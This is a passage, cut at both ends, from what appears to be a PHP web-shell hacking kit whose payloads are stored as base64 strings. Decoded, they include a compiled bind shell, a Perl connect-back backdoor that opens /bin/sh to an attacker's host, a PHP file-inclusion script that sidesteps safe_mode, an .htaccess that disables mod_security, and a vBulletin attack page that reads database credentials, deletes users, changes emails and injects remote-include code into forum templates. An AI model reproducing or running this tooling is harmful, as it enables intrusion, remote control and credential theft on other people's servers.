DYvZWxmL3N0YXJ0LlMAaW5pdC5jAGluaXRmaW5pLmMAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2kzODYtbGliYy9jc3UvY3J0aS5TAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AY29tcGxldGVkLjQ0NjMAcC40NDYyAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFtZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A"; $back_connects="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KaWYgKCEkQVJHVlswXSkgew0KICBwcmludGYgIlVzYWdlOiAkMCBbSG9zdF0gPFBvcnQ+XG4iOw0KICBleGl0KDEpOw0KfQ0KcHJpbnQgIlsqXSBEdW1waW5nIEFyZ3VtZW50c1xuIjsNCiRob3N0ID0gJEFSR1ZbMF07DQokcG9ydCA9IDgwOw0KaWYgKCRBUkdWWzFdKSB7DQogICRwb3J0ID0gJEFSR1ZbMV07DQp9DQpwcmludCAiWypdIENvbm5lY3RpbmcuLi5cbiI7DQokcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgndGNwJykgfHwgZGllKCJVbmtub3duIFByb3RvY29sXG4iKTsNCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSAoIlNvY2tldCBFcnJvclxuIik7DQpteSAkdGFyZ2V0ID0gaW5ldF9hdG9uKCRob3N0KTsNCmlmICghY29ubmVjdChTRVJWRVIsIHBhY2sgIlNuQTR4OCIsIDIsICRwb3J0LCAkdGFyZ2V0KSkgew0KICBkaWUoIlVuYWJsZSB0byBDb25uZWN0XG4iKTsNCn0NCnByaW50ICJbKl0gU3Bhd25pbmcgU2hlbGxcbiI7DQppZiAoIWZvcmsoICkpIHsNCiAgb3BlbihTVERJTiwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERPVVQsIj4mU0VSVkVSIik7DQogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOw0KICBwcmludCAiLS09PSBDb25uZWN0QmFjayBCYWNrZG9vciB2cyAxLjAgYnkgU25JcEVyX1NBIHNuaXBlci1zYS5jb20gPT0tLSAgXG5cbiI7IA0Kc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gLS09PVN5c3RlbWluZm89PS0tIDsgdW5hbWUgLWE7ZWNobzsNCmVjaG8gLS09PVVzZXJpbmZvPT0tLSA7IGlkO2VjaG87ZWNobyAtLT09RGlyZWN0b3J5PT0tLSA7IHB3ZDtlY2hvOyBlY2hvIC0tPT1TaGVsbD09LS0gIik7IA0KICBleGVjIHsnL2Jpbi9zaCd9ICctYmFzaCcgLiAiXDAiIHggNDsNCiAgZXhpdCgwKTsNCn0="; $egy_ini="PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZWd5Il0pOw0KPz4="; $htacces="PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KICAgIFNlY0ZpbHRlckVuZ2luZSBPZmYNCiAgICBTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+"; $egy_res="PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZWd5Il0pOw0KPz4="; $egy_vb="DQo8aHRtbD48aGVhZD48dGl0bGU+RWdZIFNwSWRFciA8L3RpdGxlPg0KPFNUWUxFPg0KDQpCT0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICM2NjY2NjY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOTsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2DQp9DQoNCnRyIHsNCkJPUkRFUi1SSUdIVDogICNkYWRhZGEgOw0KQk9SREVSLVRPUDogICAgI2RhZGFkYSA7DQpCT1JERVItTEVGVDogICAjZGFkYWRhIDsNCkJPUkRFUi1CT1RUT006ICNkYWRhZGEgOw0KY29sb3I6ICNmZmZmZmY7DQp9DQp0ZCB7DQpCT1JERVItUklHSFQ6ICAjZGFkYWRhIDsNCkJPUkRFUi1UT1A6ICAgICNkYWRhZGEgOw0KQk9SREVSLUxFRlQ6ICAgI2RhZGFkYSA7DQpCT1JERVItQk9UVE9NOiAjZGFkYWRhIDsNCmNvbG9yOiAjZGFkYWRhOw0KfQ0KLnRhYmxlMSB7DQpCT1JERVI6IDE7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KY29sb3I6ICMzMzMzMzM7DQp9DQoudGQxIHsNCkJPUkRFUjogMTsNCmZvbnQ6IDdwdCB0YWhvbWE7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCi50cjEgew0KQk9SREVSOiAxOw0KY29sb3I6ICNkYWRhZGE7DQp9DQp0YWJsZSB7DQpCT1JERVI6ICAjZWVlZWVlICBvdXRzZXQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KY29sb3I6ICNkYWRhZGE7DQp9DQppbnB1dCB7DQpCT1JERVItUklHSFQ6ICAjMDBGRjAwIDEgc29saWQ7DQpCT1JERVItVE9QOiAgICAjMDBGRjAwIDEgc29saWQ7DQpCT1JERVItTEVGVDogICMwMEZGMDAgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMwMEZGMDAgMSBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7DQpmb250OiA5cHQgdGFob21hOw0KY29sb3I6ICNmZmZmZmY7DQp9DQpzZWxlY3Qgew0KQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmZvbnQ6IDlwdCB0YWhvbWE7DQpjb2xvcjogI2RhZGFkYTs7DQp9DQpzdWJtaXQgew0KQk9SREVSOiAgYnV0dG9uaGlnaGxpZ2h0IDEgb3V0c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogIzI3MjcyNzsNCndpZHRoOiA0MCU7DQpjb2xvcjogI2RhZGFkYTsNCn0NCnRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICNmZmZmZmYgMSBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMSBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNmZmZmZmYgMSBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNmZmZmZmY7DQp9DQpCT0RZIHsNCm1hcmdpbjogMTsNCmNvbG9yOiAjZGFkYWRhOw0KYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCn0NCkE6bGluayB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9DQpBOnZpc2l0ZWQgeyBDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6YWN0aXZlIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6aG92ZXIge2NvbG9yOmJsdWU7VEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KDQo8L1NUWUxFPg0KPC9oZWFkPg0KIDxib2R5IGJnY29sb3I9IiMwMDAwMDAiIHRleHQ9ImxpbWUiIGxpbms9ImxpbWUiIHZsaW5rPSJsaW1lIj4NCiA8Y2VudGVyPg0KPD8NCiRhY3QgPSAkX0dFVFsnYWN0J107DQppZigkYWN0PT0ncmVjb25maWcnICYmIGlzc2V0KCRfUE9TVFsncGF0aCddKSkNCnsNCiRwYXRoID0gJF9QT1NUWydwYXRoJ107DQppbmNsdWRlICRwYXRoOw0KPz4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj48dGg+Ojo6OlJlYWQgQ29uZmlnIERhdGE6Ojo6PC90aD48dGg+PD8gZWNobyAnPGZvbnQgY29sb3I9eWVsbG93PicgLiAkcGF0aCAuICc8L2ZvbnQ+JzsgPz48L3RoPg0KPHRyPg0KPHRoPkhvc3QgOiA8L3RoPjx0aD48PyBlY2hvICc8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRjb25maWdbJ01hc3RlclNlcnZlciddWydzZXJ2ZXJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8dHI+DQo8dGg+VXNlciA6IDwvdGg+PHRoPjw/IGVjaG8gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJGNvbmZpZ1snTWFzdGVyU2VydmVyJ11bJ3VzZXJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8dHI+DQo8dGg+UGFzcyA6IDwvdGg+PHRoPjw/DQokcGFzc3NxbCA9ICRjb25maWdbJ01hc3RlclNlcnZlciddWydwYXNzd29yZCddOw0KaWYgKCRwYXNzc3FsID09ICcnKQ0Kew0KJHJlc3VsdCA9ICc8Zm9udCBjb2xvcj1yZWQ+Tm8gUGFzc3dvcmQ8L2ZvbnQ+JzsNCn0gZWxzZSB7DQokcmVzdWx0ID0gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJHBhc3NzcWwgLiAnPC9mb250Pic7DQp9DQplY2hvICRyZXN1bHQ7ID8+PC90aD4NCjwvdHI+DQo8dHI+DQo8dGg+TmFtZSA6IDwvdGg+PHRoPjw/IGVjaG8gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJGNvbmZpZ1snRGF0YWJhc2UnXVsnZGJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8L3RhYmxlPg0KPD8NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09ImRlbCIgICYmIGlzc2V0KCRfUE9TVFsndmJ1c2VyJ10pICkNCnsNCiAkaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmJ1c2VyID0gJF9QT1NUWyd2YnVzZXInXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRxdWVyeSA9ICdkZWxldGUgKiBmcm9tIHVzZXIgd2hlcmUgdXNlcm5hbWU9IicgLiAkdmJ1c2VyIC4gJyI7JzsNCiRyID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcikNCnsNCmVjaG8gJzxmb250IGNvbG9yPXllbGxvdz5Vc2VyIDogJyAuICR2YnVzZXIgLiAnIHdhcyBkZWxldGVkPC9mb250Pic7DQp9IGVsc2Ugew0KZWNobyAnPGZvbnQgY29sb3I9cmVkPlVzZXIgOiAnIC4gJHZidXNlciAuICcgY291bGQgbm90IGJlIGRlbGV0ZWQ8L2ZvbnQ+JzsNCn0NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09InNoZWxsIiAgJiYgaXNzZXQoJF9QT1NUWyd2YXInXSkpDQp7DQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmFyID0gJF9QT1NUWyd2YXInXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRXZHQgPSAnVVBEQVRFIGB0ZW1wbGF0ZWAgU0VUIGB0ZW1wbGF0ZWAgPSBcJyAiLnByaW50IGluY2x1ZGUoJEhUVFBfR0VUX1ZBUlNbJyAuICR2YXIgLiAnXSkuIiBcJ1dIRVJFIGB0aXRsZWAgPVwnRk9SVU1IT01FXCc7JzsNCiRXZHQyPSAnVVBEQVRFIGBzdHlsZWAgU0VUIGBjc3NgID0gXCcgIi5wcmludCBpbmNsdWRlKCRIVFRQX0dFVF9WQVJTWycgLiAkdmFyIC4gJ10pLiIgXCcsIGBzdHlsZXZhcnNgID0gXCdcJywgYGNzc2NvbG9yc2AgPSBcJ1wnLCBgZWRpdG9yc3R5bGVzYCA9IFwnXCcgOyc7DQokcmVzdWx0PW15c3FsX3F1ZXJ5KCRXZHQpOw0KICBpZiAoJHJlc3VsdCkge2VjaG8gIjxwPkRvbmUgRXhwbG9pdC48L3A+PGJyPlVzZSB0aGlzIDogPGJyPiBpbmRleC5waHA/IiAuICR2YXIgLiAiPXNoZWxsLnR4dCI7fWVsc2V7DQplY2hvICI8cD5FcnJvcjwvcD4iO30NCiRyZXN1bHQxPW15c3FsX3F1ZXJ5KCRXZHQyKTsNCiAgaWYgKCRyZXN1bHQxKSB7IGVjaG8gIjxwPkRvbmUgQ3JlYXRlIEZpbGU8L3A+PGJyPlVzZSB0aGlzIDogPGJyPiBpbmRleC5waHA/IiAuICR2YXIgLiAiPXNoZWxsLnR4dCI7fSBlbHNleyBlY2hvICI8cD5FcnJvcjwvcD4iO30NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09ImNvZGUiICAmJiBpc3NldCgkX1BPU1RbJ2NvZGUnXSkpDQp7DQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokaW5kZXggPSAkX1BPU1RbJ2NvZGUnXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRpbmRleCA9ICRfUE9TVFsnYiddOw0KJFdkdCA9ICdVUERBVEUgYHRlbXBsYXRlYCBTRVQgYHRlbXBsYXRlYCA9IFwnICcgLiAkaW5kZXggLiAnICBcJ1dIRVJFIGB0aXRsZWAgPVwnRk9SVU1IT01FXCc7JzsNCiRXZHQyPSAnVVBEQVRFIGBzdHlsZWAgU0VUIGBjc3NgID0gXCcgJyAuICRpbmRleCAuICcgXCcsIGBzdHlsZXZhcnNgID0gXCdcJywgYGNzc2NvbG9yc2AgPSBcJ1wnLCBgZWRpdG9yc3R5bGVzYCA9IFwnXCcgOyc7DQokcmVzdWx0PW15c3FsX3F1ZXJ5KCRXZHQpOw0KICBpZiAoJHJlc3VsdCkge2VjaG8gIjxwPkluZGV4IHdhcyBDaGFuZ2VkIFN1Y2NlZnVsbHk8L3A+Ijt9ZWxzZXsNCmVjaG8gIjxwPkZhaWxlZCB0byBjaGFuZ2UgaW5kZXg8L3A+Ijt9DQokcmVzdWx0MT1teXNxbF9xdWVyeSgkV2R0Mik7DQppZiAoJHJlc3VsdDEpIHtlY2hvICI8cD5Eb25lIENyZWF0ZSBGaWxlPC9wPiI7fSBlbHNleyBlY2hvICI8cD5FcnJvcjwvcD4iO30NCn0NCg0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0iaW5jIiAgJiYgaXNzZXQoJF9QT1NUWydsaW5rJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KJHZibGluayA9ICRfUE9TVFsnbGluayddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJGhhY2sxNSA9ICdVUERBVEUgYHRlbXBsYXRlYCBTRVQgYHRlbXBsYXRlYCA9IFwnJHNwYWNlcl9vcGVuDQp7JHtpbmNsdWRlKFwnXCcnIC4gJHZibGluayAuICdcJ1wnKX19eyR7ZXhpdCgpfX0mDQokX3BocGluY2x1ZGVfb3V0cHV0XCdXSEVSRSBgdGl0bGVgID1cJ0ZPUlVNSE9NRVwnOyc7DQokaGFjaz0gJ1VQREFURSBgc3R5bGVgIFNFVCBgY3NzYCA9IFwnJHNwYWNlcl9vcGVuDQp7JHtpbmNsdWRlKFwnXCcnIC4gJHZibGluayAuJ1wnXCcpfX17JHtleGl0KCl9fSYNCiRfcGhwaW5jbHVkZV9vdXRwdXRcJywgYHN0eWxldmFyc2AgPSBcJ1wnLCBgY3NzY29sb3JzYCA9IFwnXCcsIGBlZGl0b3JzdHlsZXNgID0gXCdcJyA7JzsNCiRyZXN1bHQ9bXlzcWxfcXVlcnkoJGhhY2sxNSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJHJlc3VsdD1teXNxbF9xdWVyeSgkaGFjaykgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0ibWFpbCIgICYmIGlzc2V0KCRfUE9TVFsndmJ1c2VyJ10pICAmJiBpc3NldCgkX1BPU1RbJ3ZibWFpbCddKSkNCnsNCiAkaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmJ1c2VyID0gJF9QT1NUWyd2YnVzZXInXTsNCiR2Ym1haWwgPSAkX1BPU1RbJ3ZibWFpbCddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJHF1ZXJ5ID0gJ3VwZGF0ZSB1c2VyIHNldCBlbWFpbD0iJyAuICR2Ym1haWwgLiAnIiB3aGVyZSB1c2VybmFtZT0iJyA